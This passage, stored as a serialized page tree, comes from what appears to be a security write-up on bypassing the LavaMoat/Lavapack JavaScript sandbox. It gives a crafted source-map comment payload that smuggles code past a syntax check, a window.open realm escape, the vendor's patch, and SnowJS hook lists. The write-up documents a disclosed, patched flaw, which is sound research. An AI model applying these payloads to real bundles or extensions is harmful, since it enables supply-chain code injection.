maps",{"type":22,"tag":101,"props":52711,"children":52712},{"style":166},[52713],{"type":27,"value":960},{"type":22,"tag":101,"props":52715,"children":52716},{"style":126},[52717],{"type":27,"value":52659},{"type":22,"tag":101,"props":52719,"children":52720},{"style":166},[52721],{"type":27,"value":18187},{"type":22,"tag":101,"props":52723,"children":52724},{"style":126},[52725],{"type":27,"value":52659},{"type":22,"tag":101,"props":52727,"children":52728},{"style":120},[52729],{"type":27,"value":231},{"type":22,"tag":101,"props":52731,"children":52732},{"style":926},[52733],{"type":27,"value":52734},"toObject",{"type":22,"tag":101,"props":52736,"children":52737},{"style":120},[52738],{"type":27,"value":11746},{"type":22,"tag":101,"props":52740,"children":52741},{"class":103,"line":398},[52742,52746,52751,52755,52759,52763,52768,52772,52776],{"type":22,"tag":101,"props":52743,"children":52744},{"style":108},[52745],{"type":27,"value":40185},{"type":22,"tag":101,"props":52747,"children":52748},{"style":126},[52749],{"type":27,"value":52750}," code",{"type":22,"tag":101,"props":52752,"children":52753},{"style":166},[52754],{"type":27,"value":960},{"type":22,"tag":101,"props":52756,"children":52757},{"style":126},[52758],{"type":27,"value":52668},{"type":22,"tag":101,"props":52760,"children":52761},{"style":120},[52762],{"type":27,"value":231},{"type":22,"tag":101,"props":52764,"children":52765},{"style":926},[52766],{"type":27,"value":52767},"removeComments",{"type":22,"tag":101,"props":52769,"children":52770},{"style":120},[52771],{"type":27,"value":980},{"type":22,"tag":101,"props":52773,"children":52774},{"style":126},[52775],{"type":27,"value":42010},{"type":22,"tag":101,"props":52777,"children":52778},{"style":120},[52779],{"type":27,"value":2510},{"type":22,"tag":101,"props":52781,"children":52782},{"class":103,"line":428},[52783,52787,52791,52795,52799,52804],{"type":22,"tag":101,"props":52784,"children":52785},{"style":3595},[52786],{"type":27,"value":43193},{"type":22,"tag":101,"props":52788,"children":52789},{"style":120},[52790],{"type":27,"value":1479},{"type":22,"tag":101,"props":52792,"children":52793},{"style":126},[52794],{"type":27,"value":30},{"type":22,"tag":101,"props":52796,"children":52797},{"style":120},[52798],{"type":27,"value":758},{"type":22,"tag":101,"props":52800,"children":52801},{"style":126},[52802],{"type":27,"value":52803},"maps",{"type":22,"tag":101,"props":52805,"children":52806},{"style":120},[52807],{"type":27,"value":13601},{"type":22,"tag":101,"props":52809,"children":52810},{"class":103,"line":997},[52811],{"type":22,"tag":101,"props":52812,"children":52813},{"style":120},[52814],{"type":27,"value":188},{"type":22,"tag":23,"props":52816,"children":52817},{},[52818,52820,52825,52827,52832],{"type":27,"value":52819},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":22,"tag":30,"props":52821,"children":52823},{"className":52822},[],[52824],{"type":27,"value":52262},{"type":27,"value":52826}," stage. Reviewing the ",{"type":22,"tag":30,"props":52828,"children":52830},{"className":52829},[],[52831],{"type":27,"value":52614},{"type":27,"value":52833}," code, we can see exactly how this happens.",{"type":22,"tag":91,"props":52835,"children":52837},{"className":35359,"code":52836,"language":35361,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[52838],{"type":22,"tag":30,"props":52839,"children":52840},{"__ignoreMap":7},[52841,52879,52905,52913,53127,53134,53141,53148,53183,53233],{"type":22,"tag":101,"props":52842,"children":52843},{"class":103,"line":104},[52844,52848,52852,52857,52861,52865,52869,52874],{"type":22,"tag":101,"props":52845,"children":52846},{"style":126},[52847],{"type":27,"value":2040},{"type":22,"tag":101,"props":52849,"children":52850},{"style":120},[52851],{"type":27,"value":231},{"type":22,"tag":101,"props":52853,"children":52854},{"style":926},[52855],{"type":27,"value":52856},"defineProperty",{"type":22,"tag":101,"props":52858,"children":52859},{"style":120},[52860],{"type":27,"value":980},{"type":22,"tag":101,"props":52862,"children":52863},{"style":114},[52864],{"type":27,"value":41882},{"type":22,"tag":101,"props":52866,"children":52867},{"style":120},[52868],{"type":27,"value":758},{"type":22,"tag":101,"props":52870,"children":52871},{"style":6476},[52872],{"type":27,"value":52873},"'commentRegex'",{"type":22,"tag":101,"props":52875,"children":52876},{"style":120},[52877],{"type":27,"value":52878},", {\n",{"type":22,"tag":101,"props":52880,"children":52881},{"class":103,"line":157},[52882,52887,52891,52895,52900],{"type":22,"tag":101,"props":52883,"children":52884},{"style":926},[52885],{"type":27,"value":52886}," get",{"type":22,"tag":101,"props":52888,"children":52889},{"style":126},[52890],{"type":27,"value":169},{"type":22,"tag":101,"props":52892,"children":52893},{"style":108},[52894],{"type":27,"value":42210},{"type":22,"tag":101,"props":52896,"children":52897},{"style":926},[52898],{"type":27,"value":52899}," getCommentRegex",{"type":22,"tag":101,"props":52901,"children":52902},{"style":120},[52903],{"type":27,"value":52904}," () {\n",{"type":22,"tag":101,"props":52906,"children":52907},{"class":103,"line":182},[52908],{"type":22,"tag":101,"props":52909,"children":52910},{"style":2215},[52911],{"type":27,"value":52912}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":22,"tag":101,"props":52914,"children":52915},{"class":103,"line":367},[52916,52920,52926,52931,52936,52941,52945,52950,52955,52960,52964,52968,52973,52978,52983,52988,52992,52996,53000,53005,53009,53014,53019,53024,53029,53033,53037,53041,53045,53049,53053,53057,53061,53066,53071,53075,53080,53085,53089,53093,53097,53101,53106,53110,53114,53118,53123],{"type":22,"tag":101,"props":52917,"children":52918},{"style":3595},[52919],{"type":27,"value":20986},{"type":22,"tag":101,"props":52921,"children":52923},{"style":52922},"--shiki-default:#D16969",[52924],{"type":27,"value":52925}," /",{"type":22,"tag":101,"props":52927,"children":52928},{"style":926},[52929],{"type":27,"value":52930},"^",{"type":22,"tag":101,"props":52932,"children":52933},{"style":52922},[52934],{"type":27,"value":52935},"\\s",{"type":22,"tag":101,"props":52937,"children":52938},{"style":52370},[52939],{"type":27,"value":52940},"*?\\/",{"type":22,"tag":101,"props":52942,"children":52943},{"style":6476},[52944],{"type":27,"value":2414},{"type":22,"tag":101,"props":52946,"children":52947},{"style":52370},[52948],{"type":27,"value":52949},"\\/\\*",{"type":22,"tag":101,"props":52951,"children":52952},{"style":6476},[52953],{"type":27,"value":52954},"][",{"type":22,"tag":101,"props":52956,"children":52957},{"style":52922},[52958],{"type":27,"value":52959},"@#",{"type":22,"tag":101,"props":52961,"children":52962},{"style":6476},[52963],{"type":27,"value":19412},{"type":22,"tag":101,"props":52965,"children":52966},{"style":52922},[52967],{"type":27,"value":52935},{"type":22,"tag":101,"props":52969,"children":52970},{"style":52370},[52971],{"type":27,"value":52972},"+?",{"type":22,"tag":101,"props":52974,"children":52975},{"style":52922},[52976],{"type":27,"value":52977},"sourceMappingURL=data:",{"type":22,"tag":101,"props":52979,"children":52980},{"style":6476},[52981],{"type":27,"value":52982},"(((?:",{"type":22,"tag":101,"props":52984,"children":52985},{"style":52922},[52986],{"type":27,"value":52987},"application",{"type":22,"tag":101,"props":52989,"children":52990},{"style":926},[52991],{"type":27,"value":6377},{"type":22,"tag":101,"props":52993,"children":52994},{"style":52922},[52995],{"type":27,"value":27},{"type":22,"tag":101,"props":52997,"children":52998},{"style":6476},[52999],{"type":27,"value":2261},{"type":22,"tag":101,"props":53001,"children":53002},{"style":52370},[53003],{"type":27,"value":53004},"\\/",{"type":22,"tag":101,"props":53006,"children":53007},{"style":52922},[53008],{"type":27,"value":37993},{"type":22,"tag":101,"props":53010,"children":53011},{"style":6476},[53012],{"type":27,"value":53013},")(?:",{"type":22,"tag":101,"props":53015,"children":53016},{"style":52922},[53017],{"type":27,"value":53018},";charset=",{"type":22,"tag":101,"props":53020,"children":53021},{"style":6476},[53022],{"type":27,"value":53023},"([^",{"type":22,"tag":101,"props":53025,"children":53026},{"style":52922},[53027],{"type":27,"value":53028},";,",{"type":22,"tag":101,"props":53030,"children":53031},{"style":6476},[53032],{"type":27,"value":19412},{"type":22,"tag":101,"props":53034,"children":53035},{"style":52370},[53036],{"type":27,"value":52972},{"type":22,"tag":101,"props":53038,"children":53039},{"style":6476},[53040],{"type":27,"value":2261},{"type":22,"tag":101,"props":53042,"children":53043},{"style":52370},[53044],{"type":27,"value":5455},{"type":22,"tag":101,"props":53046,"children":53047},{"style":6476},[53048],{"type":27,"value":2261},{"type":22,"tag":101,"props":53050,"children":53051},{"style":52370},[53052],{"type":27,"value":5455},{"type":22,"tag":101,"props":53054,"children":53055},{"style":6476},[53056],{"type":27,"value":2261},{"type":22,"tag":101,"props":53058,"children":53059},{"style":52370},[53060],{"type":27,"value":5455},{"type":22,"tag":101,"props":53062,"children":53063},{"style":6476},[53064],{"type":27,"value":53065},"(?:",{"type":22,"tag":101,"props":53067,"children":53068},{"style":52922},[53069],{"type":27,"value":53070},";",{"type":22,"tag":101,"props":53072,"children":53073},{"style":6476},[53074],{"type":27,"value":980},{"type":22,"tag":101,"props":53076,"children":53077},{"style":52922},[53078],{"type":27,"value":53079},"base64",{"type":22,"tag":101,"props":53081,"children":53082},{"style":6476},[53083],{"type":27,"value":53084},"))",{"type":22,"tag":101,"props":53086,"children":53087},{"style":52370},[53088],{"type":27,"value":5455},{"type":22,"tag":101,"props":53090,"children":53091},{"style":52922},[53092],{"type":27,"value":8168},{"type":22,"tag":101,"props":53094,"children":53095},{"style":6476},[53096],{"type":27,"value":980},{"type":22,"tag":101,"props":53098,"children":53099},{"style":52922},[53100],{"type":27,"value":231},{"type":22,"tag":101,"props":53102,"children":53103},{"style":52370},[53104],{"type":27,"value":53105},"*?",{"type":22,"tag":101,"props":53107,"children":53108},{"style":6476},[53109],{"type":27,"value":2261},{"type":22,"tag":101,"props":53111,"children":53112},{"style":926},[53113],{"type":27,"value":14294},{"type":22,"tag":101,"props":53115,"children":53116},{"style":52922},[53117],{"type":27,"value":8625},{"type":22,"tag":101,"props":53119,"children":53120},{"style":108},[53121],{"type":27,"value":53122},"mg",{"type":22,"tag":101,"props":53124,"children":53125},{"style":120},[53126],{"type":27,"value":1520},{"type":22,"tag":101,"props":53128,"children":53129},{"class":103,"line":398},[53130],{"type":22,"tag":101,"props":53131,"children":53132},{"style":120},[53133],{"type":27,"value":9908},{"type":22,"tag":101,"props":53135,"children":53136},{"class":103,"line":428},[53137],{"type":22,"tag":101,"props":53138,"children":53139},{"style":120},[53140],{"type":27,"value":39334},{"type":22,"tag":101,"props":53142,"children":53143},{"class":103,"line":997},[53144],{"type":22,"tag":101,"props":53145,"children":53146},{"emptyLinePlaceholder":15},[53147],{"type":27,"value":1581},{"type":22,"tag":101,"props":53149,"children":53150},{"class":103,"line":1032},[53151,53155,53159,53163,53167,53171,53175,53179],{"type":22,"tag":101,"props":53152,"children":53153},{"style":114},[53154],{"type":27,"value":41882},{"type":22,"tag":101,"props":53156,"children":53157},{"style":120},[53158],{"type":27,"value":231},{"type":22,"tag":101,"props":53160,"children":53161},{"style":926},[53162],{"type":27,"value":52767},{"type":22,"tag":101,"props":53164,"children":53165},{"style":166},[53166],{"type":27,"value":960},{"type":22,"tag":101,"props":53168,"children":53169},{"style":108},[53170],{"type":27,"value":42210},{"type":22,"tag":101,"props":53172,"children":53173},{"style":120},[53174],{"type":27,"value":3603},{"type":22,"tag":101,"props":53176,"children":53177},{"style":126},[53178],{"type":27,"value":36666},{"type":22,"tag":101,"props":53180,"children":53181},{"style":120},[53182],{"type":27,"value":1463},{"type":22,"tag":101,"props":53184,"children":53185},{"class":103,"line":1063},[53186,53190,53194,53198,53203,53207,53211,53215,53220,53224,53229],{"type":22,"tag":101,"props":53187,"children":53188},{"style":3595},[53189],{"type":27,"value":43193},{"type":22,"tag":101,"props":53191,"children":53192},{"style":126},[53193],{"type":27,"value":52358},{"type":22,"tag":101,"props":53195,"children":53196},{"style":120},[53197],{"type":27,"value":231},{"type":22,"tag":101,"props":53199,"children":53200},{"style":926},[53201],{"type":27,"value":53202},"replace",{"type":22,"tag":101,"props":53204,"children":53205},{"style":120},[53206],{"type":27,"value":980},{"type":22,"tag":101,"props":53208,"children":53209},{"style":114},[53210],{"type":27,"value":41882},{"type":22,"tag":101,"props":53212,"children":53213},{"style":120},[53214],{"type":27,"value":231},{"type":22,"tag":101,"props":53216,"children":53217},{"style":126},[53218],{"type":27,"value":53219},"commentRegex",{"type":22,"tag":101,"props":53221,"children":53222},{"style":120},[53223],{"type":27,"value":758},{"type":22,"tag":101,"props":53225,"children":53226},{"style":6476},[53227],{"type":27,"value":53228},"''",{"type":22,"tag":101,"props":53230,"children":53231},{"style":120},[53232],{"type":27,"value":994},{"type":22,"tag":101,"props":53234,"children":53235},{"class":103,"line":1071},[53236],{"type":22,"tag":101,"props":53237,"children":53238},{"style":120},[53239],{"type":27,"value":20576},{"type":22,"tag":23,"props":53241,"children":53242},{},[53243,53245,53251],{"type":27,"value":53244},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":22,"tag":30,"props":53246,"children":53248},{"className":53247},[],[53249],{"type":27,"value":53250},"/*",{"type":27,"value":53252},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":22,"tag":1760,"props":53254,"children":53256},{"id":53255},"the-bypass",[53257],{"type":27,"value":53258},"The Bypass",{"type":22,"tag":23,"props":53260,"children":53261},{},[53262,53264,53269,53271,53276],{"type":27,"value":53263},"By abusing the ",{"type":22,"tag":30,"props":53265,"children":53267},{"className":53266},[],[53268],{"type":27,"value":52767},{"type":27,"value":53270}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":22,"tag":30,"props":53272,"children":53274},{"className":53273},[],[53275],{"type":27,"value":52111},{"type":27,"value":53277}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":22,"tag":91,"props":53279,"children":53281},{"className":35359,"code":53280,"language":35361,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[53282],{"type":22,"tag":30,"props":53283,"children":53284},{"__ignoreMap":7},[53285,53293,53300,53308,53316,53324,53332,53340,53348,53355,53363],{"type":22,"tag":101,"props":53286,"children":53287},{"class":103,"line":104},[53288],{"type":22,"tag":101,"props":53289,"children":53290},{"style":2215},[53291],{"type":27,"value":53292},"/*# sourceMappingURL=data:,{}\n",{"type":22,"tag":101,"props":53294,"children":53295},{"class":103,"line":157},[53296],{"type":22,"tag":101,"props":53297,"children":53298},{"emptyLinePlaceholder":15},[53299],{"type":27,"value":1581},{"type":22,"tag":101,"props":53301,"children":53302},{"class":103,"line":182},[53303],{"type":22,"tag":101,"props":53304,"children":53305},{"style":2215},[53306],{"type":27,"value":53307},"}}}}\n",{"type":22,"tag":101,"props":53309,"children":53310},{"class":103,"line":367},[53311],{"type":22,"tag":101,"props":53312,"children":53313},{"style":2215},[53314],{"type":27,"value":53315},"}, {\n",{"type":22,"tag":101,"props":53317,"children":53318},{"class":103,"line":398},[53319],{"type":22,"tag":101,"props":53320,"children":53321},{"style":2215},[53322],{"type":27,"value":53323}," package: \"xpl\",\n",{"type":22,"tag":101,"props":53325,"children":53326},{"class":103,"line":428},[53327],{"type":22,"tag":101,"props":53328,"children":53329},{"style":2215},[53330],{"type":27,"value":53331}," file: \"node_modules/xpl/index.js\",\n",{"type":22,"tag":101,"props":53333,"children":53334},{"class":103,"line":997},[53335],{"type":22,"tag":101,"props":53336,"children":53337},{"style":2215},[53338],{"type":27,"value":53339}," test: alert(document.domain),\n",{"type":22,"tag":101,"props":53341,"children":53342},{"class":103,"line":1032},[53343],{"type":22,"tag":101,"props":53344,"children":53345},{"style":2215},[53346],{"type":27,"value":53347}," test1: () => { () => { () => { () => {\n",{"type":22,"tag":101,"props":53349,"children":53350},{"class":103,"line":1063},[53351],{"type":22,"tag":101,"props":53352,"children":53353},{"emptyLinePlaceholder":15},[53354],{"type":27,"value":1581},{"type":22,"tag":101,"props":53356,"children":53357},{"class":103,"line":1071},[53358],{"type":22,"tag":101,"props":53359,"children":53360},{"style":2215},[53361],{"type":27,"value":53362},"/*\n",{"type":22,"tag":101,"props":53364,"children":53365},{"class":103,"line":1110},[53366],{"type":22,"tag":101,"props":53367,"children":53368},{"style":2215},[53369],{"type":27,"value":53370},"*/\n",{"type":22,"tag":23,"props":53372,"children":53373},{},[53374],{"type":27,"value":53375},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":22,"tag":1760,"props":53377,"children":53379},{"id":53378},"lavapack-patch",[53380],{"type":27,"value":53381},"Lavapack Patch",{"type":22,"tag":23,"props":53383,"children":53384},{},[53385,53387,53393],{"type":27,"value":53386},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":22,"tag":30,"props":53388,"children":53390},{"className":53389},[],[53391],{"type":27,"value":53392},"assertValidJS",{"type":27,"value":53394},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":22,"tag":23,"props":53396,"children":53397},{},[53398,53400,53407],{"type":27,"value":53399},"The patch was introduced in commit ",{"type":22,"tag":80,"props":53401,"children":53404},{"href":53402,"rel":53403},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[84],[53405],{"type":27,"value":53406},"9c38cd4",{"type":27,"value":231},{"type":22,"tag":91,"props":53409,"children":53411},{"className":44355,"code":53410,"language":44357,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[53412],{"type":22,"tag":30,"props":53413,"children":53414},{"__ignoreMap":7},[53415,53423,53431,53439,53447,53455,53463,53471,53478,53486],{"type":22,"tag":101,"props":53416,"children":53417},{"class":103,"line":104},[53418],{"type":22,"tag":101,"props":53419,"children":53420},{"style":1544},[53421],{"type":27,"value":53422},"+ function assertValidJS(code) {\n",{"type":22,"tag":101,"props":53424,"children":53425},{"class":103,"line":157},[53426],{"type":22,"tag":101,"props":53427,"children":53428},{"style":1544},[53429],{"type":27,"value":53430},"+ try {\n",{"type":22,"tag":101,"props":53432,"children":53433},{"class":103,"line":182},[53434],{"type":22,"tag":101,"props":53435,"children":53436},{"style":1544},[53437],{"type":27,"value":53438},"+ new Function(code)\n",{"type":22,"tag":101,"props":53440,"children":53441},{"class":103,"line":367},[53442],{"type":22,"tag":101,"props":53443,"children":53444},{"style":1544},[53445],{"type":27,"value":53446},"+ } catch (err) {\n",{"type":22,"tag":101,"props":53448,"children":53449},{"class":103,"line":398},[53450],{"type":22,"tag":101,"props":53451,"children":53452},{"style":1544},[53453],{"type":27,"value":53454},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":22,"tag":101,"props":53456,"children":53457},{"class":103,"line":428},[53458],{"type":22,"tag":101,"props":53459,"children":53460},{"style":1544},[53461],{"type":27,"value":53462},"+ }\n",{"type":22,"tag":101,"props":53464,"children":53465},{"class":103,"line":997},[53466],{"type":22,"tag":101,"props":53467,"children":53468},{"style":1544},[53469],{"type":27,"value":53470},"+ }\n",{"type":22,"tag":101,"props":53472,"children":53473},{"class":103,"line":1032},[53474],{"type":22,"tag":101,"props":53475,"children":53476},{"emptyLinePlaceholder":15},[53477],{"type":27,"value":1581},{"type":22,"tag":101,"props":53479,"children":53480},{"class":103,"line":1063},[53481],{"type":22,"tag":101,"props":53482,"children":53483},{"style":1544},[53484],{"type":27,"value":53485},"+ // additional layer of syntax checking independent of browserify\n",{"type":22,"tag":101,"props":53487,"children":53488},{"class":103,"line":1071},[53489],{"type":22,"tag":101,"props":53490,"children":53491},{"style":1544},[53492],{"type":27,"value":53493},"+ assertValidJS(sourceMeta.code)\n",{"type":22,"tag":53,"props":53495,"children":53497},{"id":53496},"hacking-js-realms",[53498],{"type":27,"value":53499},"Hacking JS Realms",{"type":22,"tag":23,"props":53501,"children":53502},{},[53503,53505,53510],{"type":27,"value":53504},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":22,"tag":30,"props":53506,"children":53508},{"className":53507},[],[53509],{"type":27,"value":41413},{"type":27,"value":53511}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":22,"tag":91,"props":53513,"children":53515},{"className":35359,"code":53514,"language":35361,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[53516],{"type":22,"tag":30,"props":53517,"children":53518},{"__ignoreMap":7},[53519,53561],{"type":22,"tag":101,"props":53520,"children":53521},{"class":103,"line":104},[53522,53526,53531,53535,53539,53543,53548,53552,53557],{"type":22,"tag":101,"props":53523,"children":53524},{"style":108},[53525],{"type":27,"value":13660},{"type":22,"tag":101,"props":53527,"children":53528},{"style":126},[53529],{"type":27,"value":53530}," w",{"type":22,"tag":101,"props":53532,"children":53533},{"style":166},[53534],{"type":27,"value":960},{"type":22,"tag":101,"props":53536,"children":53537},{"style":126},[53538],{"type":27,"value":35404},{"type":22,"tag":101,"props":53540,"children":53541},{"style":120},[53542],{"type":27,"value":231},{"type":22,"tag":101,"props":53544,"children":53545},{"style":926},[53546],{"type":27,"value":53547},"open",{"type":22,"tag":101,"props":53549,"children":53550},{"style":120},[53551],{"type":27,"value":980},{"type":22,"tag":101,"props":53553,"children":53554},{"style":6476},[53555],{"type":27,"value":53556},"'/non_existent'",{"type":22,"tag":101,"props":53558,"children":53559},{"style":120},[53560],{"type":27,"value":994},{"type":22,"tag":101,"props":53562,"children":53563},{"class":103,"line":157},[53564,53569,53573,53577,53581,53585,53589,53593],{"type":22,"tag":101,"props":53565,"children":53566},{"style":126},[53567],{"type":27,"value":53568},"w",{"type":22,"tag":101,"props":53570,"children":53571},{"style":120},[53572],{"type":27,"value":231},{"type":22,"tag":101,"props":53574,"children":53575},{"style":926},[53576],{"type":27,"value":36694},{"type":22,"tag":101,"props":53578,"children":53579},{"style":120},[53580],{"type":27,"value":980},{"type":22,"tag":101,"props":53582,"children":53583},{"style":126},[53584],{"type":27,"value":36704},{"type":22,"tag":101,"props":53586,"children":53587},{"style":120},[53588],{"type":27,"value":231},{"type":22,"tag":101,"props":53590,"children":53591},{"style":126},[53592],{"type":27,"value":36714},{"type":22,"tag":101,"props":53594,"children":53595},{"style":120},[53596],{"type":27,"value":2510},{"type":22,"tag":23,"props":53598,"children":53599},{},[53600,53602,53607],{"type":27,"value":53601},"This opens a new window with a new JS Realm (another ",{"type":22,"tag":30,"props":53603,"children":53605},{"className":53604},[],[53606],{"type":27,"value":41413},{"type":27,"value":53608}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":22,"tag":23,"props":53610,"children":53611},{},[53612,53614,53621],{"type":27,"value":53613},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":22,"tag":80,"props":53615,"children":53618},{"href":53616,"rel":53617},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[84],[53619],{"type":27,"value":53620},"Metamask implementation",{"type":27,"value":2261},{"type":22,"tag":1760,"props":53623,"children":53625},{"id":53624},"snowjs-attack-surface",[53626],{"type":27,"value":53627},"SnowJS Attack Surface",{"type":22,"tag":23,"props":53629,"children":53630},{},[53631],{"type":27,"value":53632},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":22,"tag":23,"props":53634,"children":53635},{},[53636,53638,53645],{"type":27,"value":53637},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":22,"tag":80,"props":53639,"children":53642},{"href":53640,"rel":53641},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[84],[53643],{"type":27,"value":53644},"hooked inserters",{"type":27,"value":53646}," functions:",{"type":22,"tag":91,"props":53648,"children":53650},{"className":35359,"code":53649,"language":35361,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[53651],{"type":22,"tag":30,"props":53652,"children":53653},{"__ignoreMap":7},[53654,53674,53695,53734,53788,53827,53926,53946,53967],{"type":22,"tag":101,"props":53655,"children":53656},{"class":103,"line":104},[53657,53661,53666,53670],{"type":22,"tag":101,"props":53658,"children":53659},{"style":108},[53660],{"type":27,"value":13660},{"type":22,"tag":101,"props":53662,"children":53663},{"style":126},[53664],{"type":27,"value":53665}," map",{"type":22,"tag":101,"props":53667,"children":53668},{"style":166},[53669],{"type":27,"value":960},{"type":22,"tag":101,"props":53671,"children":53672},{"style":120},[53673],{"type":27,"value":154},{"type":22,"tag":101,"props":53675,"children":53676},{"class":103,"line":157},[53677,53682,53686,53691],{"type":22,"tag":101,"props":53678,"children":53679},{"style":126},[53680],{"type":27,"value":53681}," Range:",{"type":22,"tag":101,"props":53683,"children":53684},{"style":120},[53685],{"type":27,"value":911},{"type":22,"tag":101,"props":53687,"children":53688},{"style":6476},[53689],{"type":27,"value":53690},"'insertNode'",{"type":22,"tag":101,"props":53692,"children":53693},{"style":120},[53694],{"type":27,"value":18265},{"type":22,"tag":101,"props":53696,"children":53697},{"class":103,"line":182},[53698,53703,53707,53712,53716,53721,53725,53730],{"type":22,"tag":101,"props":53699,"children":53700},{"style":126},[53701],{"type":27,"value":53702}," DocumentFragment:",{"type":22,"tag":101,"props":53704,"children":53705},{"style":120},[53706],{"type":27,"value":911},{"type":22,"tag":101,"props":53708,"children":53709},{"style":6476},[53710],{"type":27,"value":53711},"'replaceChildren'",{"type":22,"tag":101,"props":53713,"children":53714},{"style":120},[53715],{"type":27,"value":758},{"type":22,"tag":101,"props":53717,"children":53718},{"style":6476},[53719],{"type":27,"value":53720},"'append'",{"type":22,"tag":101,"props":53722,"children":53723},{"style":120},[53724],{"type":27,"value":758},{"type":22,"tag":101,"props":53726,"children":53727},{"style":6476},[53728],{"type":27,"value":53729},"'prepend'",{"type":22,"tag":101,"props":53731,"children":53732},{"style":120},[53733],{"type":27,"value":18265},{"type":22,"tag":101,"props":53735,"children":53736},{"class":103,"line":367},[53737,53742,53746,53750,53754,53758,53762,53766,53770,53775,53779,53784],{"type":22,"tag":101,"props":53738,"children":53739},{"style":126},[53740],{"type":27,"value":53741}," Document:",{"type":22,"tag":101,"props":53743,"children":53744},{"style":120},[53745],{"type":27,"value":911},{"type":22,"tag":101,"props":53747,"children":53748},{"style":6476},[53749],{"type":27,"value":53711},{"type":22,"tag":101,"props":53751,"children":53752},{"style":120},[53753],{"type":27,"value":758},{"type":22,"tag":101,"props":53755,"children":53756},{"style":6476},[53757],{"type":27,"value":53720},{"type":22,"tag":101,"props":53759,"children":53760},{"style":120},[53761],{"type":27,"value":758},{"type":22,"tag":101,"props":53763,"children":53764},{"style":6476},[53765],{"type":27,"value":53729},{"type":22,"tag":101,"props":53767,"children":53768},{"style":120},[53769],{"type":27,"value":758},{"type":22,"tag":101,"props":53771,"children":53772},{"style":6476},[53773],{"type":27,"value":53774},"'write'",{"type":22,"tag":101,"props":53776,"children":53777},{"style":120},[53778],{"type":27,"value":758},{"type":22,"tag":101,"props":53780,"children":53781},{"style":6476},[53782],{"type":27,"value":53783},"'writeln'",{"type":22,"tag":101,"props":53785,"children":53786},{"style":120},[53787],{"type":27,"value":18265},{"type":22,"tag":101,"props":53789,"children":53790},{"class":103,"line":398},[53791,53796,53800,53805,53809,53814,53818,53823],{"type":22,"tag":101,"props":53792,"children":53793},{"style":126},[53794],{"type":27,"value":53795}," Node:",{"type":22,"tag":101,"props":53797,"children":53798},{"style":120},[53799],{"type":27,"value":911},{"type":22,"tag":101,"props":53801,"children":53802},{"style":6476},[53803],{"type":27,"value":53804},"'appendChild'",{"type":22,"tag":101,"props":53806,"children":53807},{"style":120},[53808],{"type":27,"value":758},{"type":22,"tag":101,"props":53810,"children":53811},{"style":6476},[53812],{"type":27,"value":53813},"'insertBefore'",{"type":22,"tag":101,"props":53815,"children":53816},{"style":120},[53817],{"type":27,"value":758},{"type":22,"tag":101,"props":53819,"children":53820},{"style":6476},[53821],{"type":27,"value":53822},"'replaceChild'",{"type":22,"tag":101,"props":53824,"children":53825},{"style":120},[53826],{"type":27,"value":18265},{"type":22,"tag":101,"props":53828,"children":53829},{"class":103,"line":428},[53830,53835,53839,53844,53848,53853,53857,53862,53866,53871,53875,53880,53884,53888,53892,53897,53901,53905,53909,53914,53918,53922],{"type":22,"tag":101,"props":53831,"children":53832},{"style":126},[53833],{"type":27,"value":53834}," 